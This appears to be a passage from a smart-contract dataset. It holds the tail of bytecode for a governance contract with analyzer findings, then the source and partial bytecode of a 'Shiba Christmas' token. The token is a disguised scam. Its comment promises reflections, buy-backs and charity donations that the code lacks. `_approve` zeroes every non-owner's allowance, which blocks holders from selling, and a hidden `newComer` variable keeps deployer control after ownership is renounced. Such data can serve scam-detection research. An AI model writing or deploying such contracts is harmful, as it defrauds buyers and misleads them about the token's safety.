b1561095a576003915050610a28565b600281015461096d576004915050610a28565b600b810154610100900460ff1615610989576007915050610a28565b6002810154600054604080516360d143f160e11b81529051610a1293926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b1580156109d557600080fd5b505afa1580156109e9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a0d9190810190612345565b611ab3565b4210610a22576006915050610a28565b60059150505b919050565b6000610a38826108a2565b90506007816007811115610a4857fe5b1415610a665760405162461bcd60e51b81526004016108d290613279565b60008281526004602052604090206002546001600160a01b0316331480610b285750610a90610efd565b60018054838201546001600160a01b039182169263782d6fe19290911690610ab9904390611adf565b6040518363ffffffff1660e01b8152600401610ad6929190612f8e565b60206040518083038186803b158015610aee57600080fd5b505afa158015610b02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610b269190810190612345565b105b610b445760405162461bcd60e51b81526004016108d290613209565b600b8101805460ff1916600117905560005b6003820154811015610c50576000546003830180546001600160a01b039092169163591fcdfe919084908110610b8857fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610bb057fe5b9060005260206000200154856005018581548110610bca57fe5b90600052602060002001866006018681548110610be357fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c1295949392919061302b565b600060405180830381600087803b158015610c2c57600080fd5b505af1158015610c40573d6000803e3d6000fd5b505060019092019150610b569050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610c8091906130b9565b60405180910390a1505050565b6002546001600160a01b031681565b6000604051610caa90612f4f565b604080519182900382208282019091526017825276436f6d706f756e6420476f7665726e6f7220416c70686160481b6020909201919091527ff5eb22c2e7100465020c98b00537528808db4fec6eb24c550685a92742247bc5610d0b611b07565b30604051602001610d1f94939291906130c7565b6040516020818303038152906040528051906020012090506000604051610d4590612f5a565b604051908190038120610d5e91899089906020016130fc565b60405160208183030381529060405280519060200120905060008282604051602001610d8b929190612f1e565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610dc89493929190613124565b6020604051602081039080840390855afa158015610dea573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e1d5760405162461bcd60e51b81526004016108d290613249565b610e28818a8a6118e2565b505050505b5050505050565b6002546001600160a01b03163314610e5e5760405162461bcd60e51b81526004016108d290613179565b600054604051634dd18bf560e01b81526001600160a01b0390911690634dd18bf590610e8e908490600401612f65565b600060405180830381600087803b158015610ea857600080fd5b505af1158015610e2d573d6000803e3d6000fd5b6002546001600160a01b03163314610ee65760405162461bcd60e51b81526004016108d2906132a9565b600280546001600160a01b0319169055565b600a90565b6000610609600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5057600080fd5b505afa158015610f64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f889190810190612345565b6064611a7e565b6002546001600160a01b03163314610fb95760405162461bcd60e51b81526004016108d290613179565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b158015610ffa57600080fd5b505af115801561100e573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000611033610efd565b600180546001600160a01b03169063782d6fe1903390611054904390611adf565b6040518363ffffffff1660e01b8152600401611071929190612f73565b60206040518083038186803b15801561108957600080fd5b505afa15801561109d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110c19190810190612345565b10156110df5760405162461bcd60e51b81526004016108d290613239565b845186511480156110f1575083518651145b80156110fe575082518651145b61111a5760405162461bcd60e51b81526004016108d2906131f9565b85516111385760405162461bcd60e51b81526004016108d290613229565b611140610ef8565b865111156111605760405162461bcd60e51b81526004016108d2906131d9565b3360009081526005602052604090205480156111dd576000611181826108a2565b9050600181600781111561119157fe5b14156111af5760405162461bcd60e51b81526004016108d290613269565b60008160078111156111bd57fe5b14156111db5760405162461bcd60e51b81526004016108d2906131c9565b505b60006111eb43610a0d61089d565b905060006111fb82610a0d6104f6565b600380546001019055905061120e611c6a565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030190805190602001906112f1929190611cdf565b506080820151805161130d916004840191602090910190611d44565b5060a08201518051611329916005840191602090910190611d8b565b5060c08201518051611345916006840191602090910190611de4565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161142b999897969594939291906132c7565b60405180910390a15193505050505b95945050505050565b600461144e826108a2565b600781111561145957fe5b146114765760405162461bcd60e51b81526004016108d290613189565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946114cb9442946001600160a01b0390931693636a42b8f8938084019390829003018186803b1580156109d557600080fd5b905060005b60038301548110156116735761166b8360030182815481106114ee57fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061151657fe5b906000526020600020015485600501848154811061153057fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156115be5780601f10611593576101008083540402835291602001916115be565b820191906000526020600020905b8154815290600101906020018083116115a157829003601f168201915b50505050508660060185815481106115d257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116605780601f1061163557610100808354040283529160200191611660565b820191906000526020600020905b81548152906001019060200180831161164357829003601f168201915b505050505086611b0b565b6001016114d0565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610c8090859084906133f5565b60405161056c90612f5a565b6116c1611e3d565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b6005611728826108a2565b600781111561173357fe5b146117505760405162461bcd60e51b81526004016108d290613199565b6000818152600460205260408120600b8101805461ff001916610100179055905b60038201548110156118a6576000546004830180546001600160a01b0390921691630825f38f9190849081106117a357fe5b90600052602060002001548460030184815481106117bd57fe5b6000918252602090912001546004860180546001600160a01b0390921691869081106117e557fe5b90600052602060002001548660050186815481106117ff57fe5b9060005260206000200187600601878154811061181857fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161184795949392919061302b565b6000604051808303818588803b15801561186057600080fd5b505af1158015611874573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261189d9190810190612363565b50600101611771565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516118d691906130b9565b60405180910390a15050565b60016118ed836108a2565b60078111156118f857fe5b146119155760405162461bcd60e51b81526004016108d290613289565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff161561195e5760405162461bcd60e51b81526004016108d2906131b9565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611994918a91600401612f8e565b60206040518083038186803b1580156119ac57600080fd5b505afa1580156119c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506119e49190810190612345565b90508315611a04576119fa836009015482611ab3565b6009840155611a18565b611a1283600a015482611ab3565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611a6e908890889088908690612f9c565b60405180910390a1505050505050565b6000808211611a9f5760405162461bcd60e51b81526004016108d290613259565b6000828481611aaa57fe5b04949350505050565b600082820183811015611ad85760405162461bcd60e51b81526004016108d2906131e9565b9392505050565b600082821115611b015760405162461bcd60e51b81526004016108d290613299565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611b399088908890889088908890602001612fd1565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611b6b91906130b9565b60206040518083038186803b158015611b8357600080fd5b505afa158015611b97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611bbb9190810190612327565b15611bd85760405162461bcd60e51b81526004016108d290613219565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611c109088908890889088908890600401612fd1565b602060405180830381600087803b158015611c2a57600080fd5b505af1158015611c3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611c629190810190612345565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611d34579160200282015b82811115611d3457825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611cff565b50611d40929150611e5d565b5090565b828054828255906000526020600020908101928215611d7f579160200282015b82811115611d7f578251825591602001919060010190611d64565b50611d40929150611e81565b828054828255906000526020600020908101928215611dd8579160200282015b82811115611dd85782518051611dc8918491602090910190611e9b565b5091602001919060010190611dab565b50611d40929150611f08565b828054828255906000526020600020908101928215611e31579160200282015b82811115611e315782518051611e21918491602090910190611e9b565b5091602001919060010190611e04565b50611d40929150611f2b565b604080516060810182526000808252602082018190529181019190915290565b6104fa91905b80821115611d405780546001600160a01b0319168155600101611e63565b6104fa91905b80821115611d405760008155600101611e87565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611edc57805160ff1916838001178555611d7f565b82800160010185558215611d7f5791820182811115611d7f578251825591602001919060010190611d64565b6104fa91905b80821115611d40576000611f228282611f4e565b50600101611f0e565b6104fa91905b80821115611d40576000611f458282611f4e565b50600101611f31565b50805460018160011615610100020316600290046000825580601f10611f745750611f92565b601f016020900490600052602060002090810190611f929190611e81565b50565b803561171781613527565b600082601f830112611fb157600080fd5b8135611fc4611fbf8261342a565b613403565b91508181835260208401935060208101905083856020840282011115611fe957600080fd5b60005b838110156120155781611fff8882611f95565b8452506020928301929190910190600101611fec565b5050505092915050565b600082601f83011261203057600080fd5b813561203e611fbf8261342a565b81815260209384019390925082018360005b8381101561201557813586016120668882612175565b8452506020928301929190910190600101612050565b600082601f83011261208d57600080fd5b813561209b611fbf8261342a565b81815260209384019390925082018360005b8381101561201557813586016120c38882612175565b84525060209283019291909101906001016120ad565b600082601f8301126120ea57600080fd5b81356120f8611fbf8261342a565b9150818183526020840193506020810190508385602084028201111561211d57600080fd5b60005b838110156120155781612133888261215f565b8452506020928301929190910190600101612120565b80356117178161353b565b80516117178161353b565b803561171781613544565b805161171781613544565b600082601f83011261218657600080fd5b8135612194611fbf8261344b565b915080825260208301602083018583830111156121b057600080fd5b6121bb8382846134db565b50505092915050565b600082601f8301126121d557600080fd5b81516121e3611fbf8261344b565b915080825260208301602083018583830111156121ff57600080fd5b6121bb8382846134e7565b80356117178161354d565b60006020828403121561222757600080fd5b60006122338484611f95565b949350505050565b600080600080600060a0868803121561225357600080fd5b853567ffffffffffffffff81111561226a57600080fd5b61227688828901611fa0565b955050602086013567ffffffffffffffff81111561229357600080fd5b61229f888289016120d9565b945050604086013567ffffffffffffffff8111156122bc57600080fd5b6122c88882890161207c565b935050606086013567ffffffffffffffff8111156122e557600080fd5b6122f18882890161201f565b925050608086013567ffffffffffffffff81111561230e57600080fd5b61231a88828901612175565b9150509295509295909350565b60006020828403121561233957600080fd5b60006122338484612154565b60006020828403121561235757600080fd5b6000612233848461216a565b60006020828403121561237557600080fd5b815167ffffffffffffffff81111561238c57600080fd5b612233848285016121c4565b6000602082840312156123aa57600080fd5b6000612233848461215f565b600080604083850312156123c957600080fd5b60006123d5858561215f565b92505060206123e685828601611f95565b9150509250929050565b6000806040838503121561240357600080fd5b600061240f858561215f565b92505060206123e685828601612149565b600080600080600060a0868803121561243857600080fd5b6000612444888861215f565b955050602061245588828901612149565b94505060406124668882890161220a565b93505060606124778882890161215f565b925050608061231a8882890161215f565b600061249483836124c3565b505060200190565b6000611ad88383612665565b6000612494838361264b565b6124bd816134be565b82525050565b6124bd81613492565b60006124d782613485565b6124e18185613489565b93506124ec83613473565b8060005b8381101561251a5781516125048882612488565b975061250f83613473565b9250506001016124f0565b509495945050505050565b600061253082613485565b61253a8185613489565b93508360208202850161254c85613473565b8060005b858110156125865784840389528151612569858261249c565b945061257483613473565b60209a909a0199925050600101612550565b5091979650505050505050565b600061259e82613485565b6125a88185613489565b9350836020820285016125ba85613473565b8060005b8581101561258657848403895281516125d7858261249c565b94506125e283613473565b60209a909a01999250506001016125be565b60006125ff82613485565b6126098185613489565b935061261483613473565b8060005b8381101561251a57815161262c88826124a8565b975061263783613473565b925050600101612618565b6124bd8161349d565b6124bd816104fa565b6124bd612660826104fa565b6104fa565b600061267082613485565b61267a8185613489565b935061268a8185602086016134e7565b61269381613513565b9093019392505050565b6000815460018116600081146126ba57600181146126e05761271f565b607f60028304166126cb8187613489565b60ff198416815295505060208501925061271f565b600282046126ee8187613489565b95506126f985613479565b60005b82811015612718578154888201526001909101906020016126fc565b8701945050505b505092915050565b6124bd816134c5565b6124bd816134d0565b6000612746603983613489565b7f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736581527f6e646572206d75737420626520676f7620677561726469616e00000000000000602082015260400192915050565b60006127a5604483613489565b7f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206381527f616e206f6e6c79206265207175657565642069662069742069732073756363656020820152631959195960e21b604082015260600192915050565b6000612811604583613489565b7f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c81527f2063616e206f6e6c7920626520657865637574656420696620697420697320716020820152641d595d595960da1b604082015260600192915050565b600061287e600283610a28565b61190160f01b815260020192915050565b600061289c602983613489565b7f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070728152681bdc1bdcd85b081a5960ba1b602082015260400192915050565b60006128e7602d83613489565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722081526c185b1c9958591e481d9bdd1959609a1b602082015260400192915050565b6000612936605983613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000604082015260600192915050565b60006129bb602883613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7981526720616374696f6e7360c01b602082015260400192915050565b6000612a05601183613489565b706164646974696f6e206f766572666c6f7760781b815260200192915050565b6000612a32604383610a28565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612a9d602783610a28565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612ae6604483613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612b52602f83613489565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612ba3604483613489565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612c0f602c83613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612c5d603f83613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612cbc602f83613489565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612d0d601083613489565b6f6469766973696f6e206279207a65726f60801b815260200192915050565b6000612d39605883613489565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766581527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208201527f20616c7265616479206163746976652070726f706f73616c0000000000000000604082015260600192915050565b6000612dbe603683613489565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612e16602a83613489565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b6000612e62601583613489565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000612e93603683613489565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b80516060830190612eef8482612642565b506020820151612f026020850182612642565b50604082015161100e604085018261264b565b6124bd816134b8565b6000612f2982612871565b9150612f358285612654565b602082019150612f458284612654565b5060200192915050565b600061171782612a25565b600061171782612a90565b6020810161171782846124c3565b60408101612f8182856124b4565b611ad8602083018461264b565b60408101612f8182856124c3565b60808101612faa82876124c3565b612fb7602083018661264b565b612fc46040830185612642565b61143a606083018461264b565b60a08101612fdf82886124c3565b612fec602083018761264b565b8181036040830152612ffe8186612665565b905081810360608301526130128185612665565b9050613021608083018461264b565b9695505050505050565b60a0810161303982886124c3565b613046602083018761264b565b8181036040830152613058818661269d565b90508181036060830152613012818561269d565b6080808252810161307d81876124cc565b9050818103602083015261309181866125f4565b905081810360408301526130a58185612593565b905081810360608301526130218184612525565b60208101611717828461264b565b608081016130d5828761264b565b6130e2602083018661264b565b6130ef604083018561264b565b61143a60608301846124c3565b6060810161310a828661264b565b613117602083018561264b565b6122336040830184612642565b60808101613132828761264b565b61313f6020830186612f15565b612fc4604083018561264b565b602081016117178284612727565b602081016117178284612730565b60208082528101611ad88184612665565b6020808252810161171781612739565b6020808252810161171781612798565b6020808252810161171781612804565b602080825281016117178161288f565b60208082528101611717816128da565b6020808252810161171781612929565b60208082528101611717816129ae565b60208082528101611717816129f8565b6020808252810161171781612ad9565b6020808252810161171781612b45565b6020808252810161171781612b96565b6020808252810161171781612c02565b6020808252810161171781612c50565b6020808252810161171781612caf565b6020808252810161171781612d00565b6020808252810161171781612d2c565b6020808252810161171781612db1565b6020808252810161171781612e09565b6020808252810161171781612e55565b6020808252810161171781612e86565b606081016117178284612ede565b61012081016132d6828c61264b565b6132e3602083018b6124b4565b81810360408301526132f5818a6124cc565b9050818103606083015261330981896125f4565b9050818103608083015261331d8188612593565b905081810360a08301526133318187612525565b905061334060c083018661264b565b61334d60e083018561264b565b8181036101008301526133608184612665565b9b9a5050505050505050505050565b610120810161337e828c61264b565b61338b602083018b6124c3565b613398604083018a61264b565b6133a5606083018961264b565b6133b2608083018861264b565b6133bf60a083018761264b565b6133cc60c083018661264b565b6133d960e0830185612642565b6133e7610100830184612642565b9a9950505050505050505050565b60408101612f81828561264b565b60405181810167ffffffffffffffff8111828210171561342257600080fd5b604052919050565b600067ffffffffffffffff82111561344157600080fd5b5060209081020190565b600067ffffffffffffffff82111561346257600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b6000611717826134ac565b151590565b80610a288161351d565b6001600160a01b031690565b60ff1690565b6000611717825b600061171782613492565b6000611717826134a2565b82818337506000910152565b60005b838110156135025781810151838201526020016134ea565b8381111561100e5750506000910152565b601f01601f191690565b60088110611f9257fe5b61353081613492565b8114611f9257600080fd5b6135308161349d565b613530816104fa565b613530816134b856fea365627a7a72315820bb47f22826a5a2ee6dd597068e62821985a36ebd9b81918ec7b3732004b0bd636c6578706572696d656e74616cf564736f6c63430005110040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,630 |
0x8b98e1d0e8ef82217d9f2d19bbd536f46dbf389d | /*
🎅SHIBA CHRISTMAS STEALTH LAUNCH on ETH TODAY AT 7 pm UTC / 2 pm EST🎅
Novel Tokenomics including:
🎁 Auto Reflections
🎁 High dividend earning re-base mechanics (always ensuring a higher price floor).
🎁 Buy-Back System
This Christmas, in the spirit of giving, a portion of our sales will be donated to Christmas charities. Merry Christmas to all and Happy Holidays! 🌲
Website - https://www.shiba-christmas.com/
Telegram - https://t.me/shiba_christmas
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ShibaChristmas is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**12* 10**18;
string private _name = 'Shiba Christmas ' ;
string private _symbol = 'SXMAS ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f01